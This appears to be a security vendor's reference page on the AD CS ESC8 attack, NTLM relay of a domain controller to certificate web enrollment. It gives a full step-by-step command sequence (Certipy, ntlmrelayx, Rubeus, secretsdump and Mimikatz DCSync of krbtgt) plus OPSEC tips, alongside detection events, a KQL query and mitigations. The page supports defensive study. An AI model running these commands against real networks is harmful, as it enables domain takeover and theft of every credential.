1. Resources
  2. Identity Threats
  3. Active Directory

AD CS ESC8: NTLM Relay to HTTP Enrollment

Also known as: ESC8, NTLM relay to AD CS, Relay to web enrollment, PetitPotam to AD CS, certsrv relay

An attacker relays a domain controller's coerced NTLM authentication to the AD CS web enrollment pages, receives a certificate for that domain controller and replicates the domain's secrets.

Platform
Active Directory
Impact
Critical
Last updated
Attack difficulty
Medium
Detection difficulty
Medium
Privileges required: Any authenticated identity
A position on the internal network that can reach the enrollment endpoint and receive the victim's connection. Most coercion methods also need any domain account.
What the attacker gains
A logon certificate for the relayed account. For a domain controller's computer account that means replication rights and every password hash in the domain.
Threat groups
APT29NIMBUS MANTICORELazarus GroupWizard SpiderGroups that MITRE ATT&CK records using T1649, T1557.001.

How it works

Active Directory Certificate Services can accept certificate requests over HTTP as well as over RPC. The optional Certification Authority Web Enrollment role installs an IIS application at /certsrv/, and the Certificate Enrollment Web Service (CES), Certificate Enrollment Policy Web Service (CEP) and Network Device Enrollment Service add further endpoints. These applications authenticate the caller with Windows authentication, and the web enrollment pages accept NTLM.

NTLM does not prove to the client which server it is talking to, and by default nothing ties an NTLM exchange to the connection that carries it. An attacker who receives a victim's NTLM authentication can forward each message to a different server and end up signed in there as the victim. That is NTLM relay. ESC8 is the relay with an enrollment endpoint as the destination:

  1. The attacker makes a victim authenticate to a host they control. For a computer account this is done with authentication coercion, RPC calls such as those behind PetitPotam and the printer bug that make a server connect back to a chosen address.
  2. The relay tool forwards the NTLM messages to http://<CA>/certsrv/certfnsh.asp.
  3. IIS accepts the logon as the victim. The tool submits a certificate request in that session, for a template the victim may enroll in.
  4. The CA issues the certificate and the tool saves it with the private key it generated.
  5. The attacker uses the certificate for PKINIT and receives a ticket-granting ticket for the victim.

The CA builds the certificate from the victim's own directory account, so it carries the victim's SID in the security extension and passes strong certificate mapping. No template is misconfigured: the default Machine, DomainController and User templates are enough.

The endpoint is vulnerable when it accepts NTLM and either runs over plain HTTP or runs over HTTPS without Extended Protection for Authentication (EPA). HTTPS alone does not help, because the relay opens its own TLS session to the server. The same attack against the CA's RPC interface is ESC11.

Prerequisites

  • An HTTP enrollment endpoint that accepts NTLM without EPA. The web enrollment role is optional, and when it is installed it is often left on its initial plain HTTP binding.
  • Network access from the attacker's host to that endpoint, and from the victim to the attacker's host (SMB on TCP 445, or HTTP when the victim's WebClient service is used).
  • A way to obtain the victim's NTLM authentication. Coercing a domain controller normally needs any domain account; name resolution poisoning needs none.
  • A published template that the victim can enroll in, with an authentication EKU and no manager approval: DomainController or Machine for computers, User for users.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Find the endpoint

Certipy checks each CA's web enrollment service during enumeration:

certipy find -u 'alice@corp.example.com' -p '<password>' -dc-ip 192.0.2.10 -vulnerable -stdout

Under Web Enrollment it reports whether HTTP and HTTPS are enabled and whether channel binding is enforced, and flags ESC8 : Web Enrollment is enabled over HTTP or the HTTPS equivalent. On Windows:

Certify.exe enum-cas --filter-vulnerable --hide-admins
certutil -config "SRV01.corp.example.com\CORP-CA" -enrollmentServerURL

The first lists web enrollment services per CA; the second shows the CES and CEP URLs registered for a CA.

2. Start the relay

Certipy listens for SMB connections on port 445 and relays them to the web enrollment pages:

certipy relay -target 'http://SRV01.corp.example.com' -template 'DomainController'

Without -template, Certipy picks Machine for computer accounts and User for user accounts. A domain controller needs DomainController.

The same with Impacket:

ntlmrelayx.py -t http://SRV01.corp.example.com/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

--adcs switches ntlmrelayx to the AD CS attack and --template names the template. It prints the certificate as a base64 PFX.

3. Trigger the victim's authentication

Coerce the domain controller DC01 to authenticate to the relay host (192.0.2.50). The methods, tools and their requirements are on the authentication coercion page. When the connection arrives, the relay output shows the account, the request and the saved file:

[*] Requesting certificate for 'CORP\\DC01$' based on the template 'DomainController'
[*] Got certificate with DNS Host Name 'dc01.corp.example.com'
[*] Saving certificate and private key to 'dc01.pfx'

4. Authenticate as the relayed account

certipy auth -pfx 'dc01.pfx' -dc-ip 192.0.2.10

Certipy obtains a TGT for dc01$, saves it as dc01.ccache and recovers the computer account's NT hash. On Windows, Rubeus takes the SAM account name with its trailing $:

.\Rubeus.exe asktgt /user:DC01$ /certificate:<base64-or-path-to-pfx> /domain:corp.example.com /dc:DC01.corp.example.com /ptt /nowrap
klist

5. Replicate the domain's secrets

A domain controller's account holds the directory replication rights, so its ticket is enough for DCSync:

export KRB5CCNAME=$PWD/dc01.ccache
secretsdump.py -just-dc-user krbtgt -k -no-pass -dc-ip 192.0.2.10 'corp.example.com/DC01$@DC01.corp.example.com'

Or with Mimikatz, in the logon session that holds the injected ticket:

.\mimikatz.exe "lsadump::dcsync /domain:corp.example.com /dc:DC01.corp.example.com /user:krbtgt" "exit"

Impact

Relaying one domain controller gives the attacker the krbtgt hash and every other credential in the domain through DCSync. From a domain user, or from a position on the network with no account at all, that is full domain compromise in a few steps.

The certificate outlives the incident response steps that usually follow. A computer account's password change does not invalidate it, and it stays usable for PKINIT until it expires or is revoked. Relaying a user instead of a computer gives that user's access for the same period.

OPSEC and artifacts

  • One coercion, one request. A careful operator coerces a single domain controller once, stops the listener when the certificate arrives and does not retry. The coercion call itself is an inbound RPC connection to the domain controller followed by an outbound SMB or HTTP connection from the domain controller to a workstation address, which is unusual for a domain controller.
  • NTLM logon on the enrollment server. IIS logs on the relayed account. The enrollment host writes event 4624, logon type 3, authentication package NTLM, account DC01$, with the relay host's address as the source. A domain controller's computer account signing in with NTLM from an address that is not the domain controller is the clearest single trace. The domain controller that validates the NTLM response writes event 4776.
  • IIS log. A POST to /certsrv/certfnsh.asp with the authenticated user name, the client address and the tool's user agent.
  • CA events. Event 4886 and event 4887 with the computer account as requester and the DomainController or Machine template. Computers normally enroll over RPC through autoenrollment, so a request that arrived through the web pages is unusual, and so is a second certificate for a domain controller that already holds a valid one.
  • Template choice. Requesting Machine for a member server draws less attention than DomainController, at the price of a less powerful account.
  • PKINIT from the wrong address. Event 4768 for DC01$ with certificate fields filled and a client address that is the attacker's host. Computers sign in to the domain with their password, not a certificate, so this event is rare. certipy auth -no-hash skips the extra step that recovers the NT hash but not this event.
  • Replication. DCSync from a non-domain-controller address writes event 4662 with the replication rights when Directory Service Access auditing is on.
  • Files. The PFX, the ccache and the relay tool's output stay on the attacker's host. Nothing is written on the CA beyond the database row for the issued certificate.

Detection

  • Computer account NTLM logon on the enrollment host. Event 4624, type 3, NTLM, where the account ends in $ and the source address is not that computer's own. The NTLM relay rules implement this and the next signal.
  • Computer account TGT with a certificate. Event 4768 for an account ending in $ with a certificate thumbprint, from an address other than the computer itself.
  • Coercion. The authentication coercion rules watch the named pipes that the coercion RPC interfaces open over SMB.
  • Unusual enrollment. A 4887 for the DomainController template outside the normal renewal cycle, or any request by a domain controller account that arrived through web enrollment.
  • Replication from a non-DC address. The DCSync rules cover the last step.
// NTLM network logons by computer accounts on the AD CS enrollment web server
let EnrollmentHost = "SRV01.corp.example.com";
WindowsEvent
| where EventID == 4624 and Provider == "Microsoft-Windows-Security-Auditing"
| where Computer =~ EnrollmentHost
| extend LogonType = tostring(EventData.LogonType),
         AuthPackage = tostring(EventData.AuthenticationPackageName),
         Account = tostring(EventData.TargetUserName),
         SourceIp = tostring(EventData.IpAddress)
| where LogonType == "3" and AuthPackage =~ "NTLM" and Account endswith "$"
| project TimeGenerated, Computer, Account, SourceIp, AuthPackage
| order by TimeGenerated desc

Collect this on the server that runs IIS, which can be a different machine from the CA. Correlate the result with the IIS log entry and with event 4886 on the CA for the same account within seconds. Legitimate clients of the web enrollment pages are people using a browser, so a computer account there is rarely expected.

Mitigation

  • Remove HTTP enrollment where it isn't needed. Most environments enroll through RPC and autoenrollment. Uninstalling the Certification Authority Web Enrollment role, and CES, CEP or NDES if unused, removes the target.
  • Enable Extended Protection for Authentication and require TLS on every enrollment application that stays, as KB5005413 describes: Require SSL on the IIS application, EPA set to Required, and no HTTP binding. EPA is the setting that breaks the relay.
  • Disable NTLM on the enrollment endpoints. In IIS, remove the NTLM provider from Windows authentication and leave Negotiate with Kerberos, or disable NTLM on the server by policy where the clients allow it.
  • Reduce coercion. Disable the Print Spooler on domain controllers, apply the vendor mitigations for the EFSRPC and other coercion interfaces, and block outbound SMB from domain controllers and other Tier 0 servers to workstations. See the authentication coercion page.
  • Limit who can enroll in powerful templates, and unpublish DomainController-class templates on CAs that domain controllers don't use.
  • Treat the CA and its enrollment servers as Tier 0, as the Active Directory hardening guide sets out. The CVE-2025-33073 analysis shows a related relay technique and why signing and channel binding matter on every NTLM-capable service.
  • Audit. Enable Audit Certification Services with the CA audit filter on the CA, and logon and Kerberos Authentication Service auditing on enrollment servers and domain controllers. The Active Directory audit policy guide lists the settings.
  • After an incident, revoke the certificates issued to relayed accounts and publish a CRL. If a domain controller was relayed, treat the domain as compromised and follow the krbtgt password reset guide.

Detection rules for this attack

Log events to collect

FAQ

Does HTTPS on the web enrollment pages prevent ESC8?

No. TLS protects the connection but does not tie the NTLM exchange to it. The relay opens its own TLS session to the server and forwards the victim's NTLM messages inside it. What stops the relay is Extended Protection for Authentication, which binds the authentication to the TLS channel, or turning NTLM off on the endpoint.

Why is a domain controller the usual victim?

A domain controller's computer account can enroll in the Domain Controller template, and its certificate authenticates as an account that holds directory replication rights. With that the attacker runs DCSync and reads every password hash, including krbtgt. Any other relayed account works too, but gives only that account's access.

Which AD CS endpoints can be relayed to?

The Certification Authority Web Enrollment pages (/certsrv/) over HTTP, or over HTTPS without channel binding, and the Certificate Enrollment Web Service, Certificate Enrollment Policy Web Service and Network Device Enrollment Service over HTTPS without channel binding. The public relay tools target the /certsrv/ pages.

Is there a patch for ESC8?

No. KB5005413 is a mitigation article, not an update. Microsoft's guidance is to enable Extended Protection for Authentication and Require SSL on the enrollment applications, and to disable NTLM there where clients can use Kerberos.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.